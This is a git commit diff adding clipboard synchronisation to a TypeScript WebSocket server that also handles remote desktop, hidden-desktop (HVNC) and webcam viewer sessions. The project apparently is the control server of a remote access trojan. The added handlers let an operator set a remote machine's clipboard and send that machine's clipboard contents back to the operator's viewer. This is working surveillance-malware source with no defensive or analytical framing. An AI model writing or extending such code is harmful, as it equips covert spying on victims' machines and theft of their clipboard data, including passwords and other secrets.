sync clipboard

This commit is contained in:
KingKDot
2026-03-28 21:58:16 -05:00
parent 92342578a4
commit 67616e78f3
14 changed files with 410 additions and 1 deletions
@@ -434,6 +434,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendDesktopCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
break;
}
case "clipboard_sync_stop": {
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
default:
break;
}
@@ -504,6 +521,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
if (!text) return;
if (source === "hvnc") {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
} else {
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
@@ -734,6 +766,23 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
});
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendHVNCCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
break;
}
case "clipboard_sync_stop": {
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
default:
break;
}